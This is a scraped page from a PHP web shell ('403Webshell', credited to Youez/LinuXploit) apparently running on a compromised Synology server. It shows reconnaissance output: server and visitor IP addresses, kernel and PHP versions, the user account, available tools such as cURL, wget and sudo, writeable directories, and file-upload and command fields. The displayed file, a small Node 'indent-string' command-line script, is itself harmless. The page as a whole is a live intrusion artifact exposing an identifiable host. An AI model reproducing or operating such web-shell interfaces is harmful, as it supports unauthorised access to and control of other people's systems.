403Webshell
Server IP : 193.86.120.172  /  Your IP : 216.73.216.67
Web Server : Apache/2.4.63 (Unix)
System : Linux JServices 3.10.108 #86003 SMP Wed Oct 22 13:20:46 CST 2025 x86_64
User : kubec ( 1026)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /volume1/@appstore/SynologyApplicationService/node_modules/indent-string/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /volume1/@appstore/SynologyApplicationService/node_modules/indent-string/cli.js
#!/usr/bin/env node
'use strict';
var stdin = require('get-stdin');
var argv = require('minimist')(process.argv.slice(2));
var pkg = require('./package.json');
var indentString = require('./');
var input = argv._;

function help() {
	console.log([
		'',
		'  ' + pkg.description,
		'',
		'  Usage',
		'    indent-string <string> [--indent <string>] [--count <number>]',
		'    cat file.txt | indent-string > indented-file.txt',
		'',
		'  Example',
		'    indent-string "$(printf \'Unicorns\\nRainbows\\n\')" --indent ♥ --count 4',
		'    ♥♥♥♥Unicorns',
		'    ♥♥♥♥Rainbows'
	].join('\n'));
}

function init(data) {
	console.log(indentString(data, argv.indent || ' ', argv.count));
}

if (argv.help) {
	help();
	return;
}

if (argv.version) {
	console.log(pkg.version);
	return;
}

if (process.stdin.isTTY) {
	if (!input) {
		help();
		return;
	}

	init(input[0]);
} else {
	stdin(init);
}

Youez - 2016 - github.com/yon3zu
LinuXploit